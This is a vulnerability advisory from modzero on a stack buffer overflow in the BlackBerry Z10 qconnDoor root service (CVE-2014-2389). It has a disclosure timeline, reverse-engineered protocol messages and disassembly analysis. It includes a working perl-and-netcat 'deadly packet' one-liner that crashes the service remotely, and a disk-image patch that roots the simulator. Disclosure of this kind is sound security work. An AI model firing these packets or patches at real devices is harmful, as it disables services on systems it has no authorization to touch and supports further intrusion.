---------------------------------------------------------------------
modzero Security Advisory:
BlackBerry Z 10 - Buffer Overflow in qconnDoor [MZ-13-05]
---------------------------------------------------------------------
---------------------------------------------------------------------
1. Timeline
---------------------------------------------------------------------
* 2013-06-23: Vendor has been contacted.
* 2013-06-24: Vendor response.
* 2013-06-27: Vendor meeting and information exchange.
* 2013-08-20: Advisory and more details sent to the vendor.
* 2013-10-15 or after patch-release: Advisory will be published.
* 2013-12-05: Vendor requested delay of release, until a high level
of carrier uptake has been achieved
* 2014-01-14: Vendor announced release in March 2014
* 2014-04-01: Vendor achieved sufficient customer availability for
this issue and announced release on April 8th, 2014.
* 2014-04-08: Release of security advisory in cooperation with
vendor.
---------------------------------------------------------------------
2. Summary
---------------------------------------------------------------------
Vendor: BlackBerry
Products known to be affected: Blackberry Z10
(model STL100-2, Software release: 10.1.0.2312,
OS version: 10.1.0.2354, Build ID: 524717)
Severity: Medium
Remote exploitable: Yes
CVE: CVE-2014-2389
qconndoor is a network service, running on the Blackberry Z10
to allow developers to access the device using BlackBerry's SDK
tool-chain. The qconndoor process is used to e. g. enable SSH access
to the device; More functionality is not documented yet and may
remain proprietary. Even though the service is intended for being
used by software developers in the Blackberry developer-mode only,
the service is still running, even if the developer-mode is not
enabled. The qconndoor process is executed under super-user UID 0
(root) privileges.
modzero identified a stack-based buffer overflow in the qconnDoor
service that can be triggered by an unauthenticated attacker. The
buffer overflow issue can only be triggered, if the developer-mode
has been activated once during runtime and can still be triggered
when the developer-mode has been turned off. Since the developer
service is exposed to the (wireless) network and the service is
running with administrative privileges, the risk of a successful
exploitation is considered high after the developer-mode has been
turned on and off during runtime once.
Even if exploit mitigations at first prevent a code execution, it is
still possible to modify data variables in the affected services,
which is a high risk, too.
---------------------------------------------------------------------
3. Details
---------------------------------------------------------------------
To overflow the stack-buffer in qconnDoor, an attacker has to send a
single specially crafted packet with any command code that triggers
AES-decryption of the data payload (for example, command code #7). By
specifying an invalid combination of encrypted and decrypted payload
lengths, the decryption routine will write past the end of the
decrypted plaintext buffer. qconnDoor will terminate immediately,
because processing the packet causes a modification of the stack
cookie, which the process detects.
$ perl -e 'print "\x00\x2a\x00\x02\x00\x07\x12\x00\x0c\x00" . "\x41" x 0xc00' |
nc target.host 4455
Analysis:
To understand and estimate the impact and exploitability of the
service, different executables were examined to obtain information
about payload structure and program-flow. First of all, the
blackberry-connect utility from the Blackberry Java SDK was analyzed
to obtain information about the protocol format and data structure.
Secondly, the qconnDoor executable of the x86 emulation environment
has been analyzed, to gather information about internal code-flow
and data-structures - assuming, that both executables are based
on the same or similar source-code. The findings were used in
a third, empirical test to reproduce the issue and the build
a proof-of-concept procedure to verify the existance of the
memory-corruption. These steps are described in more detail in the
following sections.
3.1 Static Analysis of blackberry-connect (Java, from BB SDK)
The BB10 SDK was installed using
installer-bbndk-bb10_1_x-linux-1020-201303191709-201303191501.bin
(MD5: 6c295359827636f0425e8bff73baee52). The Eclipse workbench was
updated to the most recent version of the pubic SDK for being
in sync with the simulator (BlackBerry Native SDK 10.1.0.2354).
The directory $HOME/bbndk/host_10_1_0_235/linux/x86/usr/lib contains
multiple jar files, which implement the client-side of
the qconnDoor network protocol. In particular, jqconnDoor.jar
(MD5: d8c93abceeb84b6bf3858d00982efccd) was decompiled to gain
understanding of the qconnDoor protocol. The following qconnDoor
messages could be reverse-engineered:
Definition of data types:
short 16 bit integer in network byte order (big endian)
long 32 bit integer in network byte order (big endian)
bytes sequence of bytes with variable length
IV 16 bytes AES initialization vector
Message: hello
short 6 packet length
short 2 protocol version
short 1 command code
Message: feedback
short ? packet length
short 2 protocol version
short 2 command code
short ? feedback code
short ? length of feedback message in bytes
bytes ? feedback message
Message: challenge request
short ? packet length
short 2 protocol version
short 3 command code
short ? length of rsapubkey
bytes ? rsapubkey
Message: encrypted challenge response
short ? packet length
short 2 protocol version
short 4 command code
bytes ? ? opaque challenge data, possibly encrypted to previously sent
rsapubkey
Message: decrypted challenge response
short ? packet length
short 2 protocol version
short 5 command code
short ? encrypted length
short ? decrypted length
IV ? initialization vector
bytes ? encrypted data
Message: plaintext of encrypted data (AES-CBC with PKCS5 padding):
short ? 4 + decrypted blob length + signature length
short ? decrypted blob length
short ? signature length
bytes ? decrypted blob
bytes ? signature
Message: keepalive
short 6 packet length
short 2 protocol version
short 6 command code
Message: send ssh key
short ? packet length
short 2 protocol version
short 7 command code
short ? encrypted length
short ? decrypted length
IV ? initialization vector
bytes ? encrypted data
Message: plaintext of encrypted data (AES-CBC with PKCS5 padding):
short ? key length
bytes ? key
Message: authenticate challenge request
short 6 packet length
short 2 protocol version
short 8 command code
Message: authenticate challenge response
short ? packet length
short 2 protocol version
short 9 command code
long ? algorithm
long ? iterations
char ? salt length
char ? challenge length
bytes ? salt
bytes ? challenge
Message: authenticate
short ? packet length
short 2 protocol version
short 10 command code
short ? encrypted length
short ? decrypted length
IV ? initialization vector
bytes ? encrypted data
Message: plaintext of encrypted data (AES-CBC with PKCS5 padding):
short ? hash length
bytes ? hash
Message: start service
short 6 packet length
short 2 protocol version
short 11 command code
Message: close
short 6 packet length
short 2 protocol version
short 12 command code
The qconnDoor protocol messages contain many redundant length-fields
which need to be validated by the recipient of the packet. This type
of protocol implementation is highly prone to length validation
issues.
For example, a very obvious flaw is that the qconnDoor server-side
sometimes sends wrong packet length fields. These malformed
data-packets however, are processed by the client correctly without
ending in undefined states or termination of the process, due to
side-effects of the network-client implementation.
The fact that qconnDoor runs with root priviledges, makes the server
process a worthwhile target.
3.2 Static Analysis of qconnDoor (x86, simulator)
Since binary x86 code is more convenient to reverse-engineer than ARM
code and all qconnDoor binaries seem to be compiled from the same
source-code-base, the one from the simulator was statically analyzed
in the following step.
Simulator VM:
BlackBerry10Simulator-Installer-BB10_1_X-1483-Linux-201304131554.bin
(MD5: db20e8151ece5a88f8b70d016e54df3f). The simulator was rooted by
patching the VM disk image, resulting in a setuid 0 (root) binary
(/tmp/setuidgid) that can be used to locally elevate privileges:
# patch vmdk disk image
perl -i.backup -0777 -pe
's/\x69\x66\x20\x5b\x20\x22\x24\x7b\x42\x4f\x41\x52\x44\x5f\x43\x4f\x4e\x46\x49\x47\x7d\x22\x20\x21\x3d\x20\x22\x64\x65\x76\x65\x6c\x6f\x70\x65\x72\x22\x20\x5d\x3b\x20\x74\x68\x65\x6e\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x72\x6d\x20\x2d\x72\x66\x20\x2f\x72\x6f\x6f\x74\x2f\x2e\x20\x3e\x20\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x32\x3e\x26\x31\x3b\x0a\x20\x20\x20\x20\x66\x69\x3b/\x63\x70\x20\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x73\x65\x74\x75\x69\x64\x67\x69\x64\x20\x2f\x74\x6d\x70\x20\x26\x26\x20\x63\x68\x6d\x6f\x64\x20\x36\x37\x35\x35\x20\x2f\x74\x6d\x70\x2f\x73\x65\x74\x75\x69\x64\x67\x69\x64\x3b\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20/g'
BlackBerry10Simulator-s001.vmdk
Using root access in the emulator, many binaries could be extracted
from the simulator's file system, including qconnDoor (MD5:
1dc6f998eaa4cd60653c1fe0df9a78b7). Afterwards, qconnDoor has been
analyzed in IDA Pro with the intention to find bugs in message length
validation checks.
The binary did not contain symbols. Thus, function names are invented
by the analyst. Notable functions are:
.text:00003E4B get_byteswapped_enc_header
[esp] char *raw_packet
[esp+4] struct enc_header *decoded_packet
The function expects encrypted/plaintext length fields, an
initialization vector (IV) followed by encrypted data in the
raw_packet buffer. The function copies all fields to the
decoded_packet structure and performs endianess conversion where
necessary. At addresses 0x3e87 and following, it contains arithmetic
instructions operating on field lengths. This might be the remains of
an optimized-out length validation check.
.text:00003E9A recv_exact_and_decrypt
eax connection_struct *conn
edx char *plaintextbuf
[esp] plaintextbuflen
[esp+4] rawpayloadlen
[esp+8] resultlenptr
This function reads rawpayloadlen bytes (at least 24 bytes, but no
more than 4090 bytes) from the network into a 4096 bytes long local
buffer. The function calls get_byteswapped_enc_header to interpret
the fixed header fields of the raw packet data. It validates that the
length of decrypted data (as specified in the packet) is less or
equal than plaintextbuflen (at address 0x3ff6). Furthermore, the
function prepares an AES context (exact conditions when this may
fail are not understood) and uses an unvalidated length of the
encrypted data as specified in the packet as an argument to the AES
decryption function _hu_AESDecrypt(), decrypting raw packet data into
plaintextbuf (at address 0x3f7e). Thus, when length of encrypted data
is larger than plaintextbuflen, the decrypted data will be written
past the end of plaintextbuf, which results in a memory-corruption.
.text:00004011 receive_command
[esp] struct connection_struct *connection
[esp+4] struct packet_header *headerbuf
[esp+8] char *databuf
[esp+12] int databuflen
At the beginning, the function reads the common 6 byte long packet
header from the network into databuf. When the command code is 6, 7
or 10, recv_exact_and_decrypt is called with plaintextbuf = databuf
and plaintextbuflen = databuflen (at addresses 0x4158 and 0x41c0).
Thus, when receive_command encounters a packet with command code 6, 7
or 10, decrypted data may be written past databuf + databuflen.
.text:0000422D qconndoor_accept
stack of function:
-00001140 var_1140 dd ?
-0000113C var_113C dd ?
-00001138 headerbuf packet_header ?
-00001120 len dd ?
-0000111C buf db 4096 dup(?)
-0000011C s db 256 dup(?)
-0000001C canary dd ?
-00000018 var_18 db 24 dup(?)
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 connection dd ? ; offset
The function calls receive_command to acquire an initial hello packet
with databuf = buf and databuflen = 4096. Thus, when a packet with
command code 6, 7 or 10 is encountered (instead of hello packet) and
the length of encrypted data in packet is larger than 4096 + 256 + 4
+ 24 + 4 = 4384, a buffer overflow may occur and the code
overwrites the return address. This overflow will be detected when
the stack-canary is validated on function return. When the length of
encrypted data in the packet is between 4096 and 4352 the variable s
will be overwritten. This seems to have no malicous consequences,
because the data written into s due to the buffer overflow is
subsequently never used, but overwritten by a call to sprintf()).
.text:00003284 big_receive_switch
stack of function:
-00001174 data_ptr dd ?
-00001170 rtas_key_or_errmsg dd ?
-0000116C _connection dd ? ; offset
-00001168 algo_iter_salt algo_iter_salt ?
-00001150 decoded_packet_header packet_header ?
-00001138 challenge_length dd ?
-00001134 buf db 4096 dup(?)
-00000134 challenge db 280 dup(?)
-0000001C canary dd ?
-00000018 var_18 db 24 dup(?)
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 connection dd ? ; offset
The main loop that receives packets after an initial hello message
was processed in qconndoor_accept. The function calls receive_command
to acquire packet data with databuf = buf and databuflen = 4096. When
a packet with command code 6, 7 or 10 is encountered and the length
of encrypted data in packet is larger than 4096 + 280 + 4 + 24 + 4 =
4408, a buffer overflow may occur and overwrites the return address.
This overflow will be detected when the canary is validated on
function return. When the encrypted length is between 4096 and 4376
the buffer "challenge" will be overwritten. How this may have
malicous effects is not understood, because "challenge" is used in
calls to undocumented external functions.
Conclusion:
All qconnDoor messages seem to be received via the receive_command
function, which in turn calls the vulnarable recv_exact_and_decrypt
whenever the command code is 6, 7 or 10. Depending on the exact code
path, a stack-based buffer overflow overwriting the return address
may occur when the length of encrypted data in the packet is larger
than 4384 or 4408 bytes. AES encrypted messages are exchanged during
normal operation of the qconnDoor protocol. Therefore, program states
must exist where the vulnerable code path is traversed. The exact
conditions where the vulnerable code path is not taken are unknown
because external libraries are involved.
To empirically verify the presence of this bug, the following "deadly
packet" was conceived:
Data Description
00 2a packet length (42, completely bogus but large enough to
contain all relevant header fields)
00 02 protocol version
00 07 command code
12 00 encrypted length (4608, large enough to trigger the bug and
overwrite return address)
0c 00 decrypted length (3072, small enough to pass the check in
recv_exact_and_decrypt)
??...?? initialization vector
??...?? data
3.3 Empirical Testing Using the Deadly Packet
3.3.1 Unmodified simulator (i.e. not rooted, no changes after installation):
Step 1: Connect once with blackberry-connect and terminate connection again
$ bbndk/host_10_1_0_235/linux/x86/usr/bin/blackberry-connect 192.168.149.128
-sshPublicKey ~/.rim/bbt_id_rsa.pub
Info: Connecting to target 192.168.149.128:4455
Info: Authenticating with target 192.168.149.128:4455
Info: Encryption parameters verified
Info: Sending ssh key to target 192.168.149.128:4455
Info: ssh key successfully transferred.
Info: Successfully connected. This application must remain running in order to
use debug tools. Exiting the application will terminate this connection.
^C
Step 2: Send deadly packet
$ perl -e 'print "\x00\x2a\x00\x02\x00\x07\x12\x00\x0c\x00" . "\x41" x 0xc00' |
nc 192.168.149.128 4455
Result: qconnDoor stopped working
$ nc -v 192.168.149.128 4455
nc: connect to 192.168.149.128 port 4455 (tcp) failed: Connection refused
3.3.2 Unmodified simulator, same as above but with device password set:
Step 1: Connect with blackberry-connect, this will fail due to the unknown password
$ bbndk/host_10_1_0_235/linux/x86/usr/bin/blackberry-connect 192.168.149.128
-sshPublicKey ~/.rim/bbt_id_rsa.pub
Info: Connecting to target 192.168.149.128:4455
Info: Authenticating with target 192.168.149.128:4455
Info: Encryption parameters verified
Error: The device password is set on the device. You must provide the device
password in order to authenticate, or clear the password on the device.
Step 2: Send deadly packet
$ perl -e 'print "\x00\x2a\x00\x02\x00\x07\x12\x00\x0c\x00" . "\x41" x 0xc00' |
nc 192.168.149.128 4455
Result: qconnDoor stopped working
$ nc -v 192.168.149.128 4455
nc: connect to 192.168.149.128 port 4455 (tcp) failed: Connection refused
3.3.3 BlackBerry Z10 with developer-mode activated
For this test, the Z10 is a client in a wireless network.
The developer-mode was activated. According to the "Developer
Mode" settings dialog, the "Developer IP Address" is 169.254.0.1.
Nevertheless, the attacker's host is a wireless participant, too, and
has a different IP address.
Step 1: Check availability of the service:
$ nc -v 10.0.0.121 4455
Connection to 10.0.0.121 4455 port [tcp/*] succeeded!
Step 2: Connect with blackberry-connect, this will fail due to the unknown password:
$ /opt/bbndk/host_10_1_0_132/linux/x86/usr/bin/blackberry-connect 10.0.0.121
-password 'wrong' -sshPublicKey id_rsa.pub
Info: Connecting to target 10.0.0.121:4455
Info: Authenticating with target 10.0.0.121:4455
Info: Encryption parameters verified
Info: Authenticating with target credentials.
Error: Connection refused: The device password you provided is incorrect.
Step 3: Disable developer-mode
This step can be omitted.
Step 4: Send deadly packet
$ perl -e 'print "\x00\x2a\x00\x02\x00\x07\x12\x00\x0c\x00" . "\x41" x 0xc00' |
nc 10.0.0.121 4455
Step 5: Check availability
$ nc -v 10.0.0.121 4455
nc: connect to 10.0.0.121 port 4455 (tcp) failed: Connection refused
Result:
Running blackberry-connected even with an invalid password is
required in order to initilize communication functionality in
qconnDoor. Therefore, the developer-mode has to be enabled.
Afterwards, the developer-mode is not necessary and may be disabled
again. After sending the deadly packet, the qconnDoor service is not
available anymore.
The qconnDoor TCP port is even accessible from hosts other than the
"Developer IP Address" and even if the developer-mode is disabled.
---------------------------------------------------------------------
4. Impact
---------------------------------------------------------------------
The stack-based buffer overflow results in a memory-corruption, which
may result in remote code execution. Countermeasures against buffer
overflows such as Address Space Layout Randomization and stack
cookies mitigate an easy exploitation. Since there is another variable
stored in the stack frame of the affected function, at least this
variable can be modified, too. It is not known if the affected
variable that can be overwritten is actually used afterwards.
---------------------------------------------------------------------
5. Workaround
---------------------------------------------------------------------
To defeat the above described attack, the developer-mode should be
disabled. Other workarounds are not known.
---------------------------------------------------------------------
6. Fix
---------------------------------------------------------------------
Vendor provided bugfix.
---------------------------------------------------------------------
7. Credits
---------------------------------------------------------------------
* David Gullasch (dagu@modzero.ch)
* Max Moser (mmo@modzero.ch)
* Martin Schobert (martin@modzero.ch)
---------------------------------------------------------------------
8. About modzero
---------------------------------------------------------------------
The independent Swiss company modzero AG assists clients with
security analysis in the complex areas of computer technology. The
focus lies on highly detailed technical analysis of concepts,
software and hardware components as well as the development of
individual solutions. Colleagues at modzero AG work exclusively in
practical, highly technical computer-security areas and can draw on
decades of experience in various platforms, system concepts, and
designs.
http://modzero.ch
contact@modzero.ch
---------------------------------------------------------------------
9. Disclaimer
---------------------------------------------------------------------
The information in the advisory is believed to be accurate at the
time of publishing based on currently available information. Use of
the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct,
indirect, or consequential loss or damage arising from use of, or
reliance on, this information.
---------------------------------------------------------------------
See also:
http://www.modzero.ch/advisories/MZ-13-05-Blackberry_Z10-qconnDoor.txt